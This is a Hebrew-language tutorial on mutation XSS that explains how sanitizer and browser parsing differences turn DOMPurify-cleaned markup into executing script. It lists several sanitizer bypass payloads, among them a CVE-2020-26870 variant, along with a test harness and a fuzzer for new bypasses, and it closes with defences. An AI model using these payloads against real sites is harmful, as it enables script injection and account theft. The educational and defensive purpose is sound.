לדלג לתוכן

מוטציית XSS - Mutation XSS

מהי מוטציית XSS

מוטציית XSS (mXSS) היא טכניקת תקיפה שמנצלת הבדלים בין אופן הפרסור של HTML על ידי מנקי קלט (sanitizers) לבין אופן הפרסור של הדפדפן. הקלט עובר דרך המנקה בצורה "בטוחה", אבל כשהדפדפן מפרסר אותו מחדש, התוכן עובר מוטציה ונהפך לזדוני.

העיקרון: מה שהסניטייזר "רואה" שונה ממה שהדפדפן "מבצע".

קלט "בטוח" -> Sanitizer (מאשר) -> innerHTML -> Parser (מוטציה) -> XSS!

איך דפדפנים מפרסרים HTML

פרסור רגיל מול innerHTML

כשדפדפן מקבל HTML, הוא בונה עץ DOM. אבל יש הבדלים קריטיים בין:

  1. פרסור ראשוני של הדף (HTML parser)
  2. הכנסה דרך innerHTML (fragment parser)
  3. פרסור דרך DOMParser
// שלוש דרכים שונות לפרסר HTML
// 1. innerHTML - fragment parser
div.innerHTML = '<svg><p>test</p></svg>';

// 2. DOMParser
let doc = new DOMParser().parseFromString('<svg><p>test</p></svg>', 'text/html');

// 3. document.write - main parser
document.write('<svg><p>test</p></svg>');

// כל אחד יכול לתת תוצאה שונה!

הבדלי פרסור מעשיים

// מה קורה כשמכניסים <p> בתוך <svg>?
let div = document.createElement('div');
div.innerHTML = '<svg><p>hello</p></svg>';
console.log(div.innerHTML);
// התוצאה: <svg></svg><p>hello</p>
// הדפדפן "הוציא" את <p> מתוך <svg> כי <p> לא תקני בתוך SVG

איך עובדים סניטייזרים - DOMPurify

DOMPurify הוא הסניטייזר הנפוץ ביותר. הוא עובד כך:

// תהליך הניקוי של DOMPurify
// 1. פרסור הקלט ל-DOM
// 2. סריקת העץ והסרת אלמנטים/תכונות מסוכנים
// 3. סריאליזציה חזרה למחרוזת HTML

let clean = DOMPurify.sanitize('<img src=x onerror=alert(1)>');
// תוצאה: <img src="x">  (onerror הוסר)

let clean2 = DOMPurify.sanitize('<script>alert(1)</script>');
// תוצאה: ""  (script הוסר לחלוטין)

הבעיה נוצרת כאשר:
1. DOMPurify מפרסר את הקלט (שלב 1)
2. מסיר אלמנטים מסוכנים (שלב 2)
3. מסריאלז חזרה למחרוזת (שלב 3)
4. המחרוזת מוכנסת ל-innerHTML (פרסור שני!)
5. בפרסור השני התוכן עובר מוטציה ונהפך לזדוני


מוטציה דרך בלבול מרחבי שמות - Namespace Confusion

SVG ו-MathML בתוך HTML

HTML5 מגדיר שלושה מרחבי שמות (namespaces): HTML, SVG, ו-MathML. כל מרחב שמות מפרסר תגיות אחרת:

<!-- בתוך HTML namespace -->
<style> הטקסט כאן הוא CSS, לא HTML </style>
<title> הטקסט כאן הוא טקסט רגיל </title>

<!-- בתוך SVG namespace -->
<svg>
  <style> הטקסט כאן עדיין CSS </style>
  <title> אבל כאן הטקסט כאן יכול להכיל HTML! </title>
</svg>

ניצול ההבדל:

<!-- mXSS payload -->
<svg>
  <title>
    <img src=x onerror=alert(1)>
  </title>
</svg>

כאשר DOMPurify מפרסר בתוך SVG namespace, הוא רואה את <img> כטקסט רגיל בתוך <title> (כי ב-SVG, title יכול להכיל markup). אבל כשהמחרוזת מוכנסת ל-innerHTML, הדפדפן עלול לפרסר אותה אחרת.


מוטציה דרך תגיות - Tag Mutation

noscript

תגית <noscript> מפורסרת אחרת בהתאם למצב JavaScript:

<!-- כש-JavaScript מופעל, תוכן noscript הוא טקסט רגיל -->
<!-- כש-JavaScript כבוי, תוכן noscript הוא HTML -->

<!-- DOMPurify מפרסר עם JS מופעל ורואה טקסט רגיל -->
<noscript><img src=x onerror=alert(1)></noscript>

payload מתקדם עם noscript:

<noscript>
  <p title="</noscript><img src=x onerror=alert(1)>">
</noscript>

בפרסור ראשון (DOMPurify): </noscript> הוא חלק מה-title attribute.
בפרסור שני (innerHTML): </noscript> סוגר את ה-noscript ומשחרר את ה-img.

textarea ו-title

<!-- textarea בפרסור ראשון -->
<textarea><img src=x onerror=alert(1)></textarea>
<!-- DOMPurify רואה טקסט רגיל בתוך textarea -->

<!-- אבל אם נוכל לגרום לסגירה מוקדמת של textarea -->
<div id="<textarea>"><img src=x onerror=alert(1)></div>

xmp ו-iframe

<!-- xmp - תגית ישנה שמציגה HTML כטקסט -->
<xmp><img src=x onerror=alert(1)></xmp>

<!-- iframe srcdoc - מרחב פרסור נפרד -->
<iframe srcdoc="<script>alert(1)</script>"></iframe>

עקיפות DOMPurify - Bypass Payloads

עקיפה דרך math namespace

<!-- CVE-2020-26870 - DOMPurify bypass -->
<math>
  <mtext>
    <table>
      <mglyph>
        <style><!--</style>
        <img src=x onerror=alert(1)>
      </mglyph>
    </table>
  </mtext>
</math>

תהליך המוטציה:
1. DOMPurify מפרסר: <mglyph> נמצא בתוך MathML namespace
2. ה-<style> בתוך mglyph מפורסר כ-MathML, והקומנטר לא נפתח כמצופה
3. כש-innerHTML מכניס את זה מחדש, ה-<table> גורם ל-namespace switch
4. ה-<style> מפורסר כ-HTML ובולע את הסגירה
5. ה-<img> יוצא החוצה ומופעל

עקיפה דרך SVG foreignObject

<svg>
  <foreignObject>
    <math>
      <annotation-xml encoding="text/html">
        <img src=x onerror=alert(1)>
      </annotation-xml>
    </math>
  </foreignObject>
</svg>

עקיפה היסטורית - DOMPurify 2.0.0

<svg></p><style><a id="</style><img src=x onerror=alert(1)>">

תהליך:
1. DOMPurify: <svg> פותח SVG namespace, </p> נסגר, <style> מפורסר כ-SVG style
2. ה-<a id="..."> נראה כטקסט CSS רגיל
3. innerHTML: <svg> נסגר בגלל </p>, <style> מפורסר כ-HTML
4. ה-</style> בתוך ה-id סוגר את ה-style
5. ה-<img> יוצא ומופעל


הבדלי פרסור בין דפדפנים

כל דפדפן מממש את מפרסר HTML5 בצורה מעט שונה:

// בדיקת הבדלי פרסור
function testParserDifferences(html) {
  let div = document.createElement('div');
  div.innerHTML = html;
  return div.innerHTML;
}

// בדיקות
console.log(testParserDifferences('<svg><p>'));
// Chrome: <svg></svg><p></p>
// Firefox: <svg></svg><p></p>
// אותה תוצאה? לא תמיד...

console.log(testParserDifferences('<math><mi><table><mglyph><style>'));
// כאן ההבדלים מתחילים...

ניצול הבדלים ספציפיים ל-Chrome

<!-- Chrome מטפל ב-template בצורה שונה -->
<svg>
  <template>
    <img src=x onerror=alert(1)>
  </template>
</svg>

ניצול הבדלים ספציפיים ל-Firefox

<!-- Firefox מפרסר annotation-xml אחרת -->
<math>
  <annotation-xml encoding="text/html">
    <svg>
      <foreignObject>
        <img src=x onerror=alert(1)>
      </foreignObject>
    </svg>
  </annotation-xml>
</math>

הדגמת תהליך המוטציה צעד אחר צעד

דוגמה 1: SVG title mutation

שלב 1 - קלט:
<svg><title><img src=x onerror=alert(1)></title></svg>

שלב 2 - פרסור ראשון (DOMPurify):
  svg
   |
  title (SVG namespace)
   |
  #text "<img src=x onerror=alert(1)>"   <-- טקסט רגיל!

שלב 3 - סריאליזציה:
"<svg><title>&lt;img src=x onerror=alert(1)&gt;</title></svg>"
(DOMPurify escapes את ה-HTML entities)

לכן הפרסור השני לא מריץ קוד - DOMPurify עשה escape.
צריך למצוא מקרה שבו ה-escape לא מתרחש.

דוגמה 2: מוטציה מוצלחת

שלב 1 - קלט:
<math><mtext><table><mglyph><style><!--</style><img src=x onerror=alert(1)>

שלב 2 - פרסור ראשון (DOMPurify):
  math
   |
  mtext
   |
  mglyph (MathML namespace)
   |-- style
   |    |-- #text "<!--"
   |
   |-- #text "</style><img src=x onerror=alert(1)>"

שלב 3 - סריאליזציה:
"<math><mtext><mglyph><style><!--</style><img src=x onerror=alert(1)></mglyph></mtext></math>"
(ה-<table> הוסר כי הוא לא תקני ב-MathML, אבל ה-img נשאר כטקסט)

שלב 4 - innerHTML (פרסור שני):
הפעם בלי <table>, ה-namespace switch לא מתרחש באותה צורה,
וה-<img> עלול להיות מפורסר כ-HTML element אמיתי.

כתיבת payload מוטציה

מתודולוגיה

1. זהו אלמנטים שגורמים ל-namespace switch
   (table, svg, math, foreignObject, annotation-xml)

2. מצאו אלמנטים שמפורסרים כטקסט במרחב שמות אחד
   אבל כ-HTML במרחב שמות אחר
   (title, style, noscript, xmp)

3. שלבו ביניהם כדי ליצור מוטציה

4. בדקו שהסניטייזר מאשר את הקלט

5. בדקו ש-innerHTML מייצר DOM זדוני

כלי עזר לבדיקה

// בדיקה אם payload עובר DOMPurify ומבצע מוטציה
function testMXSS(payload) {
  // שלב 1: ניקוי עם DOMPurify
  let clean = DOMPurify.sanitize(payload);
  console.log('[1] Sanitized:', clean);

  // שלב 2: הכנסה ל-innerHTML
  let div = document.createElement('div');
  div.innerHTML = clean;
  console.log('[2] After innerHTML:', div.innerHTML);

  // שלב 3: בדיקה אם יש אלמנטים מסוכנים
  let scripts = div.querySelectorAll('script, img[onerror], svg[onload]');
  if (scripts.length > 0) {
    console.log('[!] mXSS found! Dangerous elements:', scripts.length);
    return true;
  }

  // שלב 4: בדיקה אם innerHTML השתנה (מוטציה)
  if (clean !== div.innerHTML) {
    console.log('[*] Mutation detected (but no XSS)');
    console.log('[*] Diff:', clean, '!=', div.innerHTML);
  }

  return false;
}

// בדיקת payloads
let payloads = [
  '<svg><title><img src=x onerror=alert(1)></title></svg>',
  '<math><mtext><table><mglyph><style><!--</style><img src=x onerror=alert(1)>',
  '<svg></p><style><a id="</style><img src=x onerror=alert(1)>">',
  '<noscript><p title="</noscript><img src=x onerror=alert(1)>">',
];

payloads.forEach(p => {
  console.log('\n--- Testing ---');
  console.log('Payload:', p);
  testMXSS(p);
});

fuzzing למציאת מוטציות חדשות

// fuzzer בסיסי למציאת מוטציות
function fuzzMutations() {
  let namespaceElements = ['svg', 'math', 'foreignObject', 'annotation-xml'];
  let textElements = ['style', 'title', 'noscript', 'xmp', 'textarea', 'template'];
  let dangerousContent = [
    '<img src=x onerror=alert(1)>',
    '<script>alert(1)</script>',
    '<svg onload=alert(1)>'
  ];

  let mutations = [];

  for (let ns of namespaceElements) {
    for (let text of textElements) {
      for (let danger of dangerousContent) {
        let payloads = [
          `<${ns}><${text}>${danger}</${text}></${ns}>`,
          `<${ns}><${text}></${text}>${danger}</${ns}>`,
          `<${ns}><${text}><table>${danger}</table></${text}></${ns}>`,
        ];

        for (let payload of payloads) {
          let clean = DOMPurify.sanitize(payload);
          let div = document.createElement('div');
          div.innerHTML = clean;

          if (clean !== div.innerHTML) {
            mutations.push({
              payload: payload,
              sanitized: clean,
              mutated: div.innerHTML
            });
          }
        }
      }
    }
  }

  return mutations;
}

הגנה

עדכון DOMPurify

# תמיד להשתמש בגרסה האחרונה
npm update dompurify

שימוש ב-Trusted Types

// Trusted Types מונע הכנסת HTML לא מאושר
// הגדרה בכותרת CSP
// Content-Security-Policy: require-trusted-types-for 'script'

if (window.trustedTypes && trustedTypes.createPolicy) {
  const policy = trustedTypes.createPolicy('default', {
    createHTML: (input) => DOMPurify.sanitize(input)
  });
}

// עכשיו innerHTML דורש TrustedHTML
element.innerHTML = policy.createHTML(userInput);

הימנעות מ-innerHTML

// במקום innerHTML, השתמשו ב-textContent
element.textContent = userInput; // בטוח - לא מפרסר HTML

// או צרו אלמנטים ידנית
let p = document.createElement('p');
p.textContent = userInput;
container.appendChild(p);

הגדרת DOMPurify עם RETURN_DOM_FRAGMENT

// החזרת DocumentFragment במקום מחרוזת - מונע פרסור כפול
let fragment = DOMPurify.sanitize(input, { RETURN_DOM_FRAGMENT: true });
element.appendChild(fragment);
// אין פרסור שני - אין מוטציה!

סיכום

מוטציית XSS היא מהתקיפות המתוחכמות ביותר בתחום אבטחת צד הלקוח. היא מנצלת הבדלים עדינים בין אופן הפרסור של סניטייזרים ושל דפדפנים. ההגנה הטובה ביותר היא שילוב של DOMPurify עדכני, Trusted Types, והחזרת DOM fragments במקום מחרוזות HTML.